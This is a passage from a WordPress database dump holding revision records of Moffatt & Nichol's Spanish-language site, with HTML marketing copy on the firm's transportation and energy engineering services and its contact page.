^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-8','','','2012-09-12 06:37:28','2012-09-12 06:37:28','',634,'http://moffattnichol.com/spanish/634-revision-8/',0,'revision','',0),(2740,1,'2012-09-12 06:38:44','2012-09-12 06:38:44','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=transportation width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n[vslider name=\"transportation\"] \r\n  <div class=\"global-services_one\">\r\n<h3>transporte</h3>\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/deep-foundation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">cimentaciones profundas</h1>\r\nMoffatt & Nichol proporciona servicios especializados para cimentaciones profundas en ambientes marítimos y acuáticos.  Los grandes proyectos de ingeniería marítima y fluvial requieren diseñadores para coordinar las múltiples disciplinas de ingeniería y para entender los métodos de construcción en el momento del diseño de concepto y de la selección del tipo. Las dificultades incluyen condiciones de suelo débil y métodos en los cuales las estructuras grandes y pesadas se pueden construir usando equipo flotante que es vulnerable a vientos, olas y corrientes. Estas olas y corrientes también pueden socavar las cimentaciones de la estructura a grandes profundidades. Finalmente, los buques grandes pueden golpear la estructura, aplicando cargas extremadamente grandes. El Grupo de cimentaciones marítimas de Moffatt & Nichol es único en su capacidad de proporcionar un análisis y un diseño de ingeniería integrales que cubren, integran y equilibran todas estas áreas de servicio especializadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/fery.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de terminales de transbordadores de pasajeros y RoPax así como sus instalaciones correspondientes en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como instalaciones de frentes urbanos y en tierra para grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a aquellos en la comunidad marítima, el sector gubernamental, el sector de logística y a la comunidad de inversionistas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte e inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/goods.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">movimiento de mercancías</h1>\r\nMoffatt &Nichol, internacionalmente reconocido como líder en el planeamiento y diseño de puertos y terminales marítimas, amplía su experiencia profesional a la compleja infraestructura que apoya el movimiento de mercancías y la logística. Única en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. \r\n\r\nLa especialización de Moffatt & Nichol se ha ampliado para apoyar las mayores demandas de la industria de movimiento de mercancías a nivel global. Hoy en día, con una cartera de más de 6.000 proyectos, la firma proporciona a sus clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en el sello distintivo de Moffatt & Nichol.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/tranportation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">corredor de transporte</h1>\r\nMoffatt & Nichol es un líder reconocido en el planeamiento, diseño, obtención de fondos y gestión de corredores de transporte de movimiento de mercancías, incluyendo Corredores comerciales críticos.  Las agencias de transporte en todos los niveles tienen el reto de cubrir las crecientes necesidades del transporte terrestre y de cumplir su importante papel en mantener y aumentar la vitalidad económica.\r\n\r\nMoffatt & Nichol ofrece una ventaja única con la experiencia profesional integrada de la firma en ingeniería, economía y financiamiento, para proyectos de transporte y movimiento de mercancías, incluyendo sistemas marítimos, intermodales y terrestres. Moffatt & Nichol aplica esta experiencia profesional a una variedad de proyectos, como los corredores de transporte intermodal, incluyendo el premiado Corredor Alameda de $2.500 millones, puertos comerciales y transporte marítimo, así como proyectos de transporte en carreteras y ferrocarriles. Moffatt & Nichol ha atendido a clientes públicos y privados en más de 40 países.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de transporte','','inherit','open','open','','634-revision-9','','','2012-09-12 06:38:44','2012-09-12 06:38:44','',634,'http://moffattnichol.com/spanish/634-revision-9/',0,'revision','',0),(2741,1,'2012-09-11 07:38:10','2012-09-11 07:38:10','<h1 style=\"text-align: center;\"><img class=\"aligncenter size-full wp-image-2391\" title=\"Thank You\" src=\"http://www.moffattnichol.com/wp-content/uploads/2012/04/thank-you-background.jpg\" alt=\"\" width=\"589\" height=\"258\" /></h1>','Thank You ','','inherit','open','open','','2728-revision-4','','','2012-09-11 07:38:10','2012-09-11 07:38:10','',2728,'http://moffattnichol.com/spanish/2728-revision-4/',0,'revision','',0),(2742,1,'2012-09-12 10:43:27','2012-09-12 10:43:27','<div class=\"middle_col\" style=\"min-height:1051px; border:none; float:left; margin:0; padding:0\"><h1 style=\"text-align: center;\"><img class=\"aligncenter size-full wp-image-2391\" title=\"Thank You\" src=\"http://www.moffattnichol.com/wp-content/uploads/2012/04/thank-you-background.jpg\" alt=\"\" width=\"589\" height=\"258\" /></h1></div>','Thank You ','','inherit','open','open','','2728-revision-5','','','2012-09-12 10:43:27','2012-09-12 10:43:27','',2728,'http://moffattnichol.com/spanish/2728-revision-5/',0,'revision','',0),(2743,1,'2012-09-06 13:01:35','2012-09-06 13:01:35','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-revision-12','','','2012-09-06 13:01:35','2012-09-06 13:01:35','',16,'http://moffattnichol.com/spanish/16-revision-12/',0,'revision','',0),(2744,1,'2012-09-24 07:40:13','2012-09-24 07:40:13','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-revision-13','','','2012-09-24 07:40:13','2012-09-24 07:40:13','',16,'http://moffattnichol.com/spanish/16-revision-13/',0,'revision','',0),(2747,1,'2012-09-28 05:11:10','0000-00-00 00:00:00','','Auto Draft','','auto-draft','open','open','','','','','2012-09-28 05:11:10','0000-00-00 00:00:00','',0,'http://moffattnichol.com/spanish/?p=2747',0,'post','',0),(2749,1,'2012-09-06 13:32:09','2012-09-06 13:32:09','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">Energía eólica costa afuera</h1>\r\nMoffatt &amp; Nichol está posicionado en forma singular para ayudar a sus clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingeniería costera, ingeniería estructural y cimentaciones, planeamiento de construcción marítima y desarrollo de instalaciones marítimas, con nuestros servicios de evaluación económica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energía eólica debe enfrentar varios desafíos para desarrollar códigos y estándares de diseño que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt &amp; Nichol, un líder reconocido internacionalmente en ingeniería costera y marítima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseño que producirán instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selección del lugar, hasta el diseño, planeamiento de la construcción y apoyo en las operaciones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\"><div class=\"box_green-ports\"><img class=\"alignnone size-full wp-image-2710\" title=\"ocean-wind-power\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/ocean-wind-power.jpg\" alt=\"\" width=\"250\" height=\"189\" /></div></div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">Almacenamiento de energía del océano</h1>\r\nMoffatt &amp; Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, está desarrollando un sistema para el almacenamiento económico de energía a escala de la red eléctrica. La tecnología de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés) utiliza la presión de aguas profundas del océano para evitar la necesidad de un costoso recipiente de presión. Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del océano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m). Una tubería conecta el receptor de aire con los módulos de expansión/compresión en tierra. Los módulos propietarios de expansión/compresión desarrollados por General Compression representan un logro tecnológico importante que tiene el potencial de revolucionar el almacenamiento de energía a escala de la red eléctrica. GC está respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnología. El equipo de GC ha sido designado para obtener energía eólica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\n• Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparación con las baterías que usualmente cuestan de cuatro a diez veces más • Puede proporcionar en forma económica 100 horas o más de capacidad de almacenamiento • Puede aumentar el factor de carga para un parque eólico típico desde 35% hasta más de 90%, de forma muy económica • La eficiencia total es de 75-80% • Capacidad de arranque en negro • Arranque muy rápido, con la capacidad de cambiar rápidamente entre expansión y compresión, prácticamente eliminando la necesidad de “energía de reserva de respuesta rápida” • Larga vida útil con mantenimiento mínimo\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">energía alternativa</h1>\r\nMoffatt &amp; Nichol ofrece a sus clientes una capacidad especial en el área de soluciones de energía alternativa, con prácticas esenciales que reflejan la relación entre el medioambiente y las fuentes de energía innovadora. En el área de la hidrocinética, aplicamos nuestros conocimientos y experiencia profesional en ingeniería costera y en diseño de cuerpos de flotación a las singulares ubicaciones y a los requisitos mecánicos de los sistemas a fin de capturar la energía latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos métodos de almacenamiento de energía aportan un mayor equilibrio entre la oferta y la demanda. Moffatt &amp; Nichol proporciona apoyo de ingeniería costera, civil y estructural para sistemas de almacenamiento de energía en recipientes de contención submarina, haciendo disponible la energía en la red eléctrica cuando es necesaria.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">apoyo en proyectos de generación de energía</h1>\r\nLas instalaciones de generación de energía convencional usualmente requieren gran infraestructura de ingeniería civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt &amp; Nichol proporciona el planeamiento, el diseño y la gestión de la construcción para proyectos de instalaciones de generación de energía, incluyendo el apoyo para la gestión de autorizaciones, apoyo en la construcción civil/estructural, planeamiento y gestión de la construcción y estudios del impacto sobre el medioambiente. La firma también proporciona servicios muy especializados en el análisis y diseño de estructuras de centrales de energía nuclear a fin de determinar la actual integridad estructural de las instalaciones de contención de concreto y de acero del reactor y predecir la futura.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios de energía','','inherit','open','open','','537-revision-6','','','2012-09-06 13:32:09','2012-09-06 13:32:09','',537,'http://moffattnichol.com/spanish/537-revision-6/',0,'revision','',0),(2750,1,'2012-11-12 06:36:36','2012-11-12 06:36:36','<div class=\"content_faq\">\r\n<h3>servicios de energía</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">terminales de carga líquida a granel</h1>\r\nLas instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt &amp; Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">Terminales de GNL</h1>\r\nDurante décadas, Moffatt &amp; Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas. La firma ofrece una gama completa de servicios de consultoría de ingeniería para el diseño y la gestión de la construcción para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y científicos han participado en casi todos los aspectos del planeamiento y la ingeniería de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingeniería FEED hasta el análisis de tráfico de buques, el dragado y el diseño estructural. Hemos proporcionado estos servicios en más de veinte importantes proyectos de GNL en Asia, África, Canadá, México y los Estados Unidos, en algunos de los ambientes marinos más difíciles del mundo.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div 